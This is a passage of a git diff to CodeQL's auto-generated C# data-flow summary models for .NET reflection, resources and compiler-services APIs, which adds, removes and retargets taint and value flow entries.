["System.Reflection.Metadata.Ecma335", "SignatureDecoder", False, "DecodeFieldSignature", "(System.Reflection.Metadata.BlobReader)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Reflection.Metadata.Ecma335", "SignatureDecoder", False, "DecodeType", "(System.Reflection.Metadata.BlobReader,System.Boolean)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Reflection.Metadata.Ecma335", "SignatureDecoder", False, "SignatureDecoder", "(System.Reflection.Metadata.ISignatureTypeProvider,System.Reflection.Metadata.MetadataReader,TGenericContext)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Reflection.Metadata.Ecma335", "SignatureDecoder", False, "SignatureDecoder", "(System.Reflection.Metadata.ISignatureTypeProvider,System.Reflection.Metadata.MetadataReader,TGenericContext)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - ["System.Reflection.Metadata.Ecma335", "SignatureDecoder", False, "SignatureDecoder", "(System.Reflection.Metadata.ISignatureTypeProvider,System.Reflection.Metadata.MetadataReader,TGenericContext)", "", "Argument[2]", "Argument[this]", "taint", "df-generated"] - ["System.Reflection.Metadata.Ecma335", "SignatureTypeEncoder", False, "Array", "(System.Action,System.Action)", "", "Argument[this]", "Argument[0].Parameter[0]", "value", "dfc-generated"] - - ["System.Reflection.Metadata.Ecma335", "SignatureTypeEncoder", False, "Array", "(System.Reflection.Metadata.Ecma335.SignatureTypeEncoder,System.Reflection.Metadata.Ecma335.ArrayShapeEncoder)", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] + - ["System.Reflection.Metadata.Ecma335", "SignatureTypeEncoder", False, "Array", "(System.Reflection.Metadata.Ecma335.SignatureTypeEncoder,System.Reflection.Metadata.Ecma335.ArrayShapeEncoder)", "", "Argument[this]", "Argument[0]", "value", "dfc-generated"] - ["System.Reflection.Metadata.Ecma335", "SignatureTypeEncoder", False, "Pointer", "()", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Reflection.Metadata.Ecma335", "SignatureTypeEncoder", False, "SZArray", "()", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Reflection.Metadata.Ecma335", "SignatureTypeEncoder", False, "SignatureTypeEncoder", "(System.Reflection.Metadata.BlobBuilder)", "", "Argument[0]", "Argument[this].Property[System.Reflection.Metadata.Ecma335.SignatureTypeEncoder.Builder]", "value", "dfc-generated"] @@ -369,6 +366,9 @@ extensions: - ["System.Reflection.Metadata.Ecma335", "ScalarEncoder", "NullArray", "()", "summary", "df-generated"] - ["System.Reflection.Metadata.Ecma335", "ScalarEncoder", "SystemType", "(System.String)", "summary", "df-generated"] - ["System.Reflection.Metadata.Ecma335", "ScalarEncoder", "get_Builder", "()", "summary", "df-generated"] + - ["System.Reflection.Metadata.Ecma335", "SignatureDecoder", "DecodeLocalSignature", "(System.Reflection.Metadata.BlobReader)", "summary", "df-generated"] + - ["System.Reflection.Metadata.Ecma335", "SignatureDecoder", "DecodeMethodSignature", "(System.Reflection.Metadata.BlobReader)", "summary", "df-generated"] + - ["System.Reflection.Metadata.Ecma335", "SignatureDecoder", "DecodeMethodSpecificationSignature", "(System.Reflection.Metadata.BlobReader)", "summary", "df-generated"] - ["System.Reflection.Metadata.Ecma335", "SignatureTypeEncoder", "Boolean", "()", "summary", "df-generated"] - ["System.Reflection.Metadata.Ecma335", "SignatureTypeEncoder", "Byte", "()", "summary", "df-generated"] - ["System.Reflection.Metadata.Ecma335", "SignatureTypeEncoder", "Char", "()", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Reflection.Metadata.model.yml b/csharp/ql/lib/ext/generated/System.Reflection.Metadata.model.yml index 1b5c45664a8..c32cb72fd5b 100644 --- a/csharp/ql/lib/ext/generated/System.Reflection.Metadata.model.yml +++ b/csharp/ql/lib/ext/generated/System.Reflection.Metadata.model.yml @@ -25,7 +25,6 @@ extensions: - ["System.Reflection.Metadata", "BlobBuilder", False, "LinkSuffix", "(System.Reflection.Metadata.BlobBuilder)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Reflection.Metadata", "BlobBuilder", False, "ReserveBytes", "(System.Int32)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Reflection.Metadata", "BlobBuilder", False, "TryWriteBytes", "(System.IO.Stream,System.Int32)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Reflection.Metadata", "BlobBuilder", False, "WriteContentTo", "(System.Reflection.Metadata.BlobWriter)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Reflection.Metadata", "BlobContentId", False, "BlobContentId", "(System.Guid,System.UInt32)", "", "Argument[0]", "Argument[this].SyntheticField[System.Reflection.Metadata.BlobContentId._guid]", "value", "dfc-generated"] - ["System.Reflection.Metadata", "BlobContentId", False, "get_Guid", "()", "", "Argument[this].SyntheticField[System.Reflection.Metadata.BlobContentId._guid]", "ReturnValue", "value", "dfc-generated"] - ["System.Reflection.Metadata", "BlobReader", False, "ReadConstant", "(System.Reflection.Metadata.ConstantTypeCode)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] @@ -316,6 +315,7 @@ extensions: - ["System.Reflection.Metadata", "BlobBuilder", "WriteConstant", "(System.Object)", "summary", "df-generated"] - ["System.Reflection.Metadata", "BlobBuilder", "WriteContentTo", "(System.IO.Stream)", "summary", "df-generated"] - ["System.Reflection.Metadata", "BlobBuilder", "WriteContentTo", "(System.Reflection.Metadata.BlobBuilder)", "summary", "df-generated"] + - ["System.Reflection.Metadata", "BlobBuilder", "WriteContentTo", "(System.Reflection.Metadata.BlobWriter)", "summary", "df-generated"] - ["System.Reflection.Metadata", "BlobBuilder", "WriteDateTime", "(System.DateTime)", "summary", "df-generated"] - ["System.Reflection.Metadata", "BlobBuilder", "WriteDecimal", "(System.Decimal)", "summary", "df-generated"] - ["System.Reflection.Metadata", "BlobBuilder", "WriteDouble", "(System.Double)", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Reflection.PortableExecutable.model.yml b/csharp/ql/lib/ext/generated/System.Reflection.PortableExecutable.model.yml index 7852d88d8a9..169993932e2 100644 --- a/csharp/ql/lib/ext/generated/System.Reflection.PortableExecutable.model.yml +++ b/csharp/ql/lib/ext/generated/System.Reflection.PortableExecutable.model.yml @@ -26,7 +26,7 @@ extensions: - ["System.Reflection.PortableExecutable", "PEReader", False, "PEReader", "(System.Collections.Immutable.ImmutableArray)", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] - ["System.Reflection.PortableExecutable", "PEReader", False, "PEReader", "(System.IO.Stream,System.Reflection.PortableExecutable.PEStreamOptions,System.Int32)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Reflection.PortableExecutable", "PEReader", False, "TryOpenAssociatedPortablePdb", "(System.String,System.Func,System.Reflection.Metadata.MetadataReaderProvider,System.String)", "", "Argument[0]", "Argument[1].Parameter[0]", "taint", "dfc-generated"] - - ["System.Reflection.PortableExecutable", "PEReader", False, "TryOpenAssociatedPortablePdb", "(System.String,System.Func,System.Reflection.Metadata.MetadataReaderProvider,System.String)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["System.Reflection.PortableExecutable", "PEReader", False, "TryOpenAssociatedPortablePdb", "(System.String,System.Func,System.Reflection.Metadata.MetadataReaderProvider,System.String)", "", "Argument[0]", "Argument[3]", "taint", "dfc-generated"] - ["System.Reflection.PortableExecutable", "PEReader", False, "get_PEHeaders", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - addsTo: pack: codeql/csharp-all diff --git a/csharp/ql/lib/ext/generated/System.Reflection.model.yml b/csharp/ql/lib/ext/generated/System.Reflection.model.yml index 43ee41799ad..6758f9e29f0 100644 --- a/csharp/ql/lib/ext/generated/System.Reflection.model.yml +++ b/csharp/ql/lib/ext/generated/System.Reflection.model.yml @@ -36,11 +36,7 @@ extensions: - ["System.Reflection", "AssemblyName", False, "get_EscapedCodeBase", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Reflection", "Binder", True, "BindToField", "(System.Reflection.BindingFlags,System.Reflection.FieldInfo[],System.Object,System.Globalization.CultureInfo)", "", "Argument[1].Element", "ReturnValue", "value", "dfc-generated"] - ["System.Reflection", "Binder", True, "BindToMethod", "(System.Reflection.BindingFlags,System.Reflection.MethodBase[],System.Object[],System.Reflection.ParameterModifier[],System.Globalization.CultureInfo,System.String[],System.Object)", "", "Argument[1].Element", "ReturnValue", "value", "dfc-generated"] - - ["System.Reflection", "Binder", True, "BindToMethod", "(System.Reflection.BindingFlags,System.Reflection.MethodBase[],System.Object[],System.Reflection.ParameterModifier[],System.Globalization.CultureInfo,System.String[],System.Object)", "", "Argument[2].Element", "ReturnValue.Element", "value", "dfc-generated"] - - ["System.Reflection", "Binder", True, "BindToMethod", "(System.Reflection.BindingFlags,System.Reflection.MethodBase[],System.Object[],System.Reflection.ParameterModifier[],System.Globalization.CultureInfo,System.String[],System.Object)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] - ["System.Reflection", "Binder", True, "ReorderArgumentArray", "(System.Object[],System.Object)", "", "Argument[0].Element.Element", "Argument[0].Element", "value", "dfc-generated"] - - ["System.Reflection", "Binder", True, "ReorderArgumentArray", "(System.Object[],System.Object)", "", "Argument[0].Element.Element", "ReturnValue.Element", "value", "dfc-generated"] - - ["System.Reflection", "Binder", True, "ReorderArgumentArray", "(System.Object[],System.Object)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Reflection", "Binder", True, "SelectMethod", "(System.Reflection.BindingFlags,System.Reflection.MethodBase[],System.Type[],System.Reflection.ParameterModifier[])", "", "Argument[1].Element", "ReturnValue", "value", "dfc-generated"] - ["System.Reflection", "Binder", True, "SelectProperty", "(System.Reflection.BindingFlags,System.Reflection.PropertyInfo[],System.Type,System.Type[],System.Reflection.ParameterModifier[])", "", "Argument[1].Element", "ReturnValue", "value", "dfc-generated"] - ["System.Reflection", "ConstructorInvoker", False, "Invoke", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Resources.model.yml b/csharp/ql/lib/ext/generated/System.Resources.model.yml index e342044dafa..ead0e6f41e2 100644 --- a/csharp/ql/lib/ext/generated/System.Resources.model.yml +++ b/csharp/ql/lib/ext/generated/System.Resources.model.yml @@ -18,7 +18,7 @@ extensions: - ["System.Resources", "ResourceManager", True, "GetResourceFileName", "(System.Globalization.CultureInfo)", "", "Argument[this].Field[System.Resources.ResourceManager.BaseNameField]", "ReturnValue", "taint", "dfc-generated"] - ["System.Resources", "ResourceManager", True, "GetString", "(System.String,System.Globalization.CultureInfo)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - ["System.Resources", "ResourceManager", True, "get_BaseName", "()", "", "Argument[this].Field[System.Resources.ResourceManager.BaseNameField]", "ReturnValue", "value", "dfc-generated"] - - ["System.Resources", "ResourceReader", False, "GetResourceData", "(System.String,System.String,System.Byte[])", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Resources", "ResourceReader", False, "GetResourceData", "(System.String,System.String,System.Byte[])", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - ["System.Resources", "ResourceReader", False, "ResourceReader", "(System.IO.Stream)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Resources", "ResourceSet", False, "ResourceSet", "(System.IO.Stream)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Resources", "ResourceSet", False, "ResourceSet", "(System.Resources.IResourceReader)", "", "Argument[0]", "Argument[this].Field[System.Resources.ResourceSet.Reader]", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Runtime.CompilerServices.model.yml b/csharp/ql/lib/ext/generated/System.Runtime.CompilerServices.model.yml index b707827561c..2134ee1b6c1 100644 --- a/csharp/ql/lib/ext/generated/System.Runtime.CompilerServices.model.yml +++ b/csharp/ql/lib/ext/generated/System.Runtime.CompilerServices.model.yml @@ -4,41 +4,21 @@ extensions: pack: codeql/csharp-all extensible: summaryModel data: - - ["System.Runtime.CompilerServices", "AsyncIteratorMethodBuilder", False, "AwaitOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "AsyncIteratorMethodBuilder", False, "AwaitOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "AsyncIteratorMethodBuilder", False, "AwaitUnsafeOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "AsyncIteratorMethodBuilder", False, "AwaitUnsafeOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "AsyncIteratorMethodBuilder", False, "MoveNext", "(TStateMachine)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "AsyncTaskMethodBuilder", False, "AwaitOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "AsyncTaskMethodBuilder", False, "AwaitOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "AsyncTaskMethodBuilder", False, "AwaitUnsafeOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "AsyncTaskMethodBuilder", False, "AwaitUnsafeOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "AsyncTaskMethodBuilder", False, "Start", "(TStateMachine)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["System.Runtime.CompilerServices", "AsyncIteratorMethodBuilder", False, "AwaitOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] + - ["System.Runtime.CompilerServices", "AsyncIteratorMethodBuilder", False, "AwaitUnsafeOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] + - ["System.Runtime.CompilerServices", "AsyncTaskMethodBuilder", False, "AwaitOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] + - ["System.Runtime.CompilerServices", "AsyncTaskMethodBuilder", False, "AwaitUnsafeOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - ["System.Runtime.CompilerServices", "AsyncTaskMethodBuilder", False, "get_Task", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Runtime.CompilerServices", "AsyncTaskMethodBuilder", False, "AwaitOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "AsyncTaskMethodBuilder", False, "AwaitOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "AsyncTaskMethodBuilder", False, "AwaitUnsafeOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "AsyncTaskMethodBuilder", False, "AwaitUnsafeOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["System.Runtime.CompilerServices", "AsyncTaskMethodBuilder", False, "AwaitOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] + - ["System.Runtime.CompilerServices", "AsyncTaskMethodBuilder", False, "AwaitUnsafeOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - ["System.Runtime.CompilerServices", "AsyncTaskMethodBuilder", False, "SetResult", "(TResult)", "", "Argument[0]", "Argument[this].SyntheticField[System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1.m_task].Property[System.Threading.Tasks.Task`1.Result]", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "AsyncTaskMethodBuilder", False, "Start", "(TStateMachine)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.CompilerServices", "AsyncTaskMethodBuilder", False, "get_Task", "()", "", "Argument[this].SyntheticField[System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1.m_task]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "AsyncValueTaskMethodBuilder", False, "AwaitOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "AsyncValueTaskMethodBuilder", False, "AwaitOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "AsyncValueTaskMethodBuilder", False, "AwaitUnsafeOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "AsyncValueTaskMethodBuilder", False, "AwaitUnsafeOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "AsyncValueTaskMethodBuilder", False, "Start", "(TStateMachine)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "AsyncValueTaskMethodBuilder", False, "AwaitOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "AsyncValueTaskMethodBuilder", False, "AwaitOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "AsyncValueTaskMethodBuilder", False, "AwaitUnsafeOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "AsyncValueTaskMethodBuilder", False, "AwaitUnsafeOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["System.Runtime.CompilerServices", "AsyncValueTaskMethodBuilder", False, "AwaitOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] + - ["System.Runtime.CompilerServices", "AsyncValueTaskMethodBuilder", False, "AwaitUnsafeOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] + - ["System.Runtime.CompilerServices", "AsyncValueTaskMethodBuilder", False, "AwaitOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] + - ["System.Runtime.CompilerServices", "AsyncValueTaskMethodBuilder", False, "AwaitUnsafeOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - ["System.Runtime.CompilerServices", "AsyncValueTaskMethodBuilder", False, "SetResult", "(TResult)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Runtime.CompilerServices", "AsyncValueTaskMethodBuilder", False, "Start", "(TStateMachine)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.CompilerServices", "AsyncValueTaskMethodBuilder", False, "get_Task", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Runtime.CompilerServices", "AsyncVoidMethodBuilder", False, "AwaitOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "AsyncVoidMethodBuilder", False, "AwaitOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "AsyncVoidMethodBuilder", False, "AwaitUnsafeOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "AsyncVoidMethodBuilder", False, "AwaitUnsafeOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "AsyncVoidMethodBuilder", False, "Start", "(TStateMachine)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.CompilerServices", "CallSite", False, "get_Binder", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Runtime.CompilerServices", "CallSiteOps", False, "AddRule", "(System.Runtime.CompilerServices.CallSite,T)", "", "Argument[1]", "Argument[0]", "taint", "df-generated"] - ["System.Runtime.CompilerServices", "CallSiteOps", False, "GetCachedRules", "(System.Runtime.CompilerServices.RuleCache)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -72,24 +52,18 @@ extensions: - ["System.Runtime.CompilerServices", "IRuntimeVariables", True, "get_Item", "(System.Int32)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Runtime.CompilerServices", "ITuple", True, "get_Item", "(System.Int32)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Runtime.CompilerServices", "NullableAttribute", False, "NullableAttribute", "(System.Byte[])", "", "Argument[0]", "Argument[this].Field[System.Runtime.CompilerServices.NullableAttribute.NullableFlags]", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "PoolingAsyncValueTaskMethodBuilder", False, "AwaitOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "PoolingAsyncValueTaskMethodBuilder", False, "AwaitOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "PoolingAsyncValueTaskMethodBuilder", False, "AwaitUnsafeOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "PoolingAsyncValueTaskMethodBuilder", False, "AwaitUnsafeOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "PoolingAsyncValueTaskMethodBuilder", False, "Start", "(TStateMachine)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "PoolingAsyncValueTaskMethodBuilder", False, "AwaitOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "PoolingAsyncValueTaskMethodBuilder", False, "AwaitOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "PoolingAsyncValueTaskMethodBuilder", False, "AwaitUnsafeOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "PoolingAsyncValueTaskMethodBuilder", False, "AwaitUnsafeOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["System.Runtime.CompilerServices", "PoolingAsyncValueTaskMethodBuilder", False, "AwaitOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] + - ["System.Runtime.CompilerServices", "PoolingAsyncValueTaskMethodBuilder", False, "AwaitUnsafeOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] + - ["System.Runtime.CompilerServices", "PoolingAsyncValueTaskMethodBuilder", False, "AwaitOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] + - ["System.Runtime.CompilerServices", "PoolingAsyncValueTaskMethodBuilder", False, "AwaitUnsafeOnCompleted", "(TAwaiter,TStateMachine)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - ["System.Runtime.CompilerServices", "PoolingAsyncValueTaskMethodBuilder", False, "SetResult", "(TResult)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Runtime.CompilerServices", "PoolingAsyncValueTaskMethodBuilder", False, "Start", "(TStateMachine)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.CompilerServices", "PoolingAsyncValueTaskMethodBuilder", False, "get_Task", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Runtime.CompilerServices", "ReadOnlyCollectionBuilder", False, "ReadOnlyCollectionBuilder", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] - ["System.Runtime.CompilerServices", "RuntimeHelpers", False, "ExecuteCodeWithGuaranteedCleanup", "(System.Runtime.CompilerServices.RuntimeHelpers+TryCode,System.Runtime.CompilerServices.RuntimeHelpers+CleanupCode,System.Object)", "", "Argument[2]", "Argument[0].Parameter[0]", "value", "dfc-generated"] - ["System.Runtime.CompilerServices", "RuntimeHelpers", False, "ExecuteCodeWithGuaranteedCleanup", "(System.Runtime.CompilerServices.RuntimeHelpers+TryCode,System.Runtime.CompilerServices.RuntimeHelpers+CleanupCode,System.Object)", "", "Argument[2]", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["System.Runtime.CompilerServices", "RuntimeOps", False, "CreateRuntimeVariables", "(System.Object[],System.Int64[])", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - ["System.Runtime.CompilerServices", "RuntimeOps", False, "ExpandoPromoteClass", "(System.Dynamic.ExpandoObject,System.Object,System.Object)", "", "Argument[2]", "Argument[0].Element", "taint", "df-generated"] - - ["System.Runtime.CompilerServices", "RuntimeOps", False, "ExpandoTryGetValue", "(System.Dynamic.ExpandoObject,System.Object,System.Int32,System.String,System.Boolean,System.Object)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Runtime.CompilerServices", "RuntimeOps", False, "ExpandoTryGetValue", "(System.Dynamic.ExpandoObject,System.Object,System.Int32,System.String,System.Boolean,System.Object)", "", "Argument[0].Element", "Argument[5]", "taint", "df-generated"] - ["System.Runtime.CompilerServices", "RuntimeOps", False, "ExpandoTrySetValue", "(System.Dynamic.ExpandoObject,System.Object,System.Int32,System.Object,System.String,System.Boolean)", "", "Argument[3]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.CompilerServices", "RuntimeOps", False, "MergeRuntimeVariables", "(System.Runtime.CompilerServices.IRuntimeVariables,System.Runtime.CompilerServices.IRuntimeVariables,System.Int32[])", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Runtime.CompilerServices", "RuntimeOps", False, "MergeRuntimeVariables", "(System.Runtime.CompilerServices.IRuntimeVariables,System.Runtime.CompilerServices.IRuntimeVariables,System.Int32[])", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] @@ -101,15 +75,6 @@ extensions: - ["System.Runtime.CompilerServices", "SwitchExpressionException", False, "get_Message", "()", "", "Argument[this].Property[System.Runtime.CompilerServices.SwitchExpressionException.UnmatchedValue]", "ReturnValue", "taint", "dfc-generated"] - ["System.Runtime.CompilerServices", "TupleElementNamesAttribute", False, "TupleElementNamesAttribute", "(System.String[])", "", "Argument[0]", "Argument[this].SyntheticField[System.Runtime.CompilerServices.TupleElementNamesAttribute._transformNames]", "value", "dfc-generated"] - ["System.Runtime.CompilerServices", "TupleElementNamesAttribute", False, "get_TransformNames", "()", "", "Argument[this].SyntheticField[System.Runtime.CompilerServices.TupleElementNamesAttribute._transformNames]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "Unsafe", False, "Add", "(T,System.Int32)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "Unsafe", False, "Add", "(T,System.IntPtr)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "Unsafe", False, "Add", "(T,System.UIntPtr)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "Unsafe", False, "AddByteOffset", "(T,System.UIntPtr)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "Unsafe", False, "Copy", "(T,System.Void*)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "Unsafe", False, "Subtract", "(T,System.Int32)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "Unsafe", False, "Subtract", "(T,System.IntPtr)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "Unsafe", False, "Subtract", "(T,System.UIntPtr)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Runtime.CompilerServices", "Unsafe", False, "SubtractByteOffset", "(T,System.UIntPtr)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Runtime.CompilerServices", "ValueTaskAwaiter", False, "GetResult", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - addsTo: pack: codeql/csharp-all @@ -119,6 +84,7 @@ extensions: - ["System.Runtime.CompilerServices", "AccessedThroughPropertyAttribute", "get_PropertyName", "()", "summary", "df-generated"] - ["System.Runtime.CompilerServices", "AsyncIteratorMethodBuilder", "Complete", "()", "summary", "df-generated"] - 